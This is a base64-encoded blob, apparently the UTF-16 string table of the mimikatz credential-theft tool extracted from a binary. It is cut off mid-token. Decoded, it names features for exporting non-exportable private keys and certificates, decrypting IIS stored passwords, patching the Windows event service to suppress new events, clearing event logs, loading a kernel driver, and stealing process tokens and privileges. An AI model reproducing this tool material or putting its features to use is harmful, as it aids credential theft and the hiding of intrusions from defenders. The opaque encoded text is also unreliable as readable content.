cQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAAAAAAAgACAAIAAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAAAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAAAAAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABwAGYAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFAAZgB4ACAAOwAgAFAARgBYAEUAeABwAG8AcgB0AEMAZQByAHQAUwB0AG8AcgBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGUAbABlAHQAZQAgAHQAZQBtAHAAIABrAGUAeQBzAGUAdAAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAABbACUAMAA0AHgALwAlAHgAXQAgACUAcwAKAAAAIAAgAAAAAAAAAAAAUAByAG8AdgBpAGQAZQByACAAaQBuAGYAbwA6AAoAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkAUABhAHIAYQBtACAAKAB0AG8AZABvACkAIAAgACAAOgAgACUAMAA4AHgAIAAvACAAJQAwADgAeAAKAAAAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnAAoAAAAAAGYAaQBsAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcwB5AHMAdABlAG0AIAA7ACAASQBuAHAAdQB0ACAATQBpAGMAcgBvAHMAbwBmAHQAIABDAHIAeQBwAHQAbwAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBmAGkAbABlADoAZgBpAGwAZQBuAGEAbQBlAHwAZABpAHIAZQBjAHQAbwByAHkAKQAKAAAAYwByAGwAAABjAHQAbAAAAGsAZQB5AGkAZAAAAAAAAABEAGEAdABhADoAIAAAAAAAJQBzAC4AJQBzAAAAAAAAAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAOgAgACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBmAGkAbABlAF8AcgBhAHcARABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAbgBnACAAOwAgAE4AbwAgAEMATgBHAAoAAABkAHIAbwBwAAAAAAAAAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAAAAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABlAHYAZQBuAHQAAAAAAAAARQB2AGUAbgB0ACAAbQBvAGQAdQBsAGUAAAAAAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAAAAAAHcAZQB2AHQAcwB2AGMALgBkAGwAbAAAAEUAdgBlAG4AdABMAG8AZwAAAAAAAAAAAFMAZQBjAHUAcgBpAHQAeQAAAAAAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAYQBwAHAAaABvAHMAdAAAAGkAaQBzAAAASQBJAFMAIABYAE0ATAAgAEMAbwBuAGYAaQBnACAAbQBvAGQAdQBsAGUAAAAAAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBzAHkAcwB0AGUAbQAuAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAFAAbwBvAGwAcwAvAGEAZABkAAAAAAAAAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAHMAeQBzAHQAZQBtAC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALwBzAGkAdABlAHMALwBzAGkAdABlAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAIAA7ACAATQBpAHMAcwBpAG4AZwAgAC8AaQBuADoAZgBpAGwAZQBuAGEAbQBlACAAKABhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAGMAbwBuAGYAaQBnACkACgAAAAAAAAAKACoAIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AUABvAG8AbAA6ACAAJwAlAHMAJwAKAAAAAAAAAHAAcgBvAGMAZQBzAHMATQBvAGQAZQBsAAAAAAAAAAAAdQBzAGUAcgBOAGEAbQBlAAAAAAAAAAAAIAAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAJQBzAAoAAAAgACAAUABhAHMAcwB3AG8AcgBkADoAIAAlAHMACgAAAAoAKgAgAFMAaQB0AGUAOgAgACcAJQBzACcACgAAAAAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAAAAcABhAHQAaAAAAAAAAAAAACAAIAA+ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAAUABhAHQAaAA6ACAAJQBzAAoAAAAAAAAAdgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAAAAAAAAAAACAAIAAgACAALQAgAFYAaQByAHQAdQBhAGwARABpAHIAZQBjAHQAbwByAHkAIABQAGEAdABoADoAIAAlAHMAIAAoACAAAAAAAHAAaAB5AHMAaQBjAGEAbABQAGEAdABoAAAAAAAAAAAAIAApAAoAAAAgACAAIAAgACAAIABVAHMAZQByAG4AYQBtAGUAOgAgACUAcwAKAAAAIAAgACAAIAAgACAAUABhAHMAcwB3AG8AcgBkADoAIAAlAHMACgAAAFsAZQBuAGMAOgAAAAAAAAA6AGUAbgBjAF0AAAAAAAAAIAAgAHwAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAlAHMACgAgACAAfAAgAEQAYQB0AGEAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAGMAbwBuAGYAaQBnAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEALwBwAHIAbwB2AGkAZABlAHIAcwAvAGEAZABkAAAAAAAAAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0AC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALgBBAGUAcwBQAHIAbwB0AGUAYwB0AGUAZABDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAFAAcgBvAHYAaQBkAGUAcgAAAGsAZQB5AEMAbwBuAHQAYQBpAG4AZQByAE4AYQBtAGUAAAAAAAAAAAAgACAAfAAgAEsAZQB5AE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAAAAcwBlAHMAcwBpAG8AbgBLAGUAeQAAAAAAdQBzAGUATQBhAGMAaABpAG4AZQBDAG8AbgB0AGEAaQBuAGUAcgAAAHQAcgB1AGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByACAAOwAgAHQAeQBwAGUAIABpAHMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKAAlAHMAKQAKAAAAbABpAHYAZQAAAAAAAAAAACAAIAB8ACAATABpAHYAZQAgAEsAZQB5ACAAIAA6ACAAJQBzACAALQAgACUAcwAgADoAIAAAAAAAIAAgAHwAIABQAFYASwAgAGYAaQBsAGUAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAUgBTAEEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAAfAAgAFAAYQBzAHMAdwBvAHIAZAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAcwBlAHMAcwBpAG8AbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAArAAAAAAAAAAAAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAAAAAAcABpAG4AZwAAAAAAAAAAAFAAaQBuAGcAIAB0AGgAZQAgAGQAcgBpAHYAZQByAAAAYgBzAG8AZAAAAAAAAAAAAEIAUwBPAEQAIAAhAAAAAABwAHIAbwBjAGUAcwBzAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAAAAAABEAHUAcABsAGkAYwBhAHQAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AG8AawBlAG4AAABwAHIAbwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAAUwBlAHQAIABhAGwAbAAgAHAAcgBpAHYAaQBsAGUAZwBlACAAbwBuACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAG0AbwBkAHUAbABlAHMAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAAAAAAHMAcwBkAHQAAAAAAAAAAABMAGkAcwB0ACAAUwBTAEQAVAAAAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAAAAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAABuAG8AdABpAGYAVABoAHIAZQBhAGQAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUgBlAGcAAAAAAAAAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAG8AYgBqAGUAYwB0ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAAAAAABzAHkAcwBlAG4AdgBzAGUAdAAAAAAAAAAAAAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAUwBlAHQAAABzAHkAcwBlAG4AdgBkAGUAbAAAAAAAAAAAAAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAARABlAGwAZQB0AGUAAAAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdg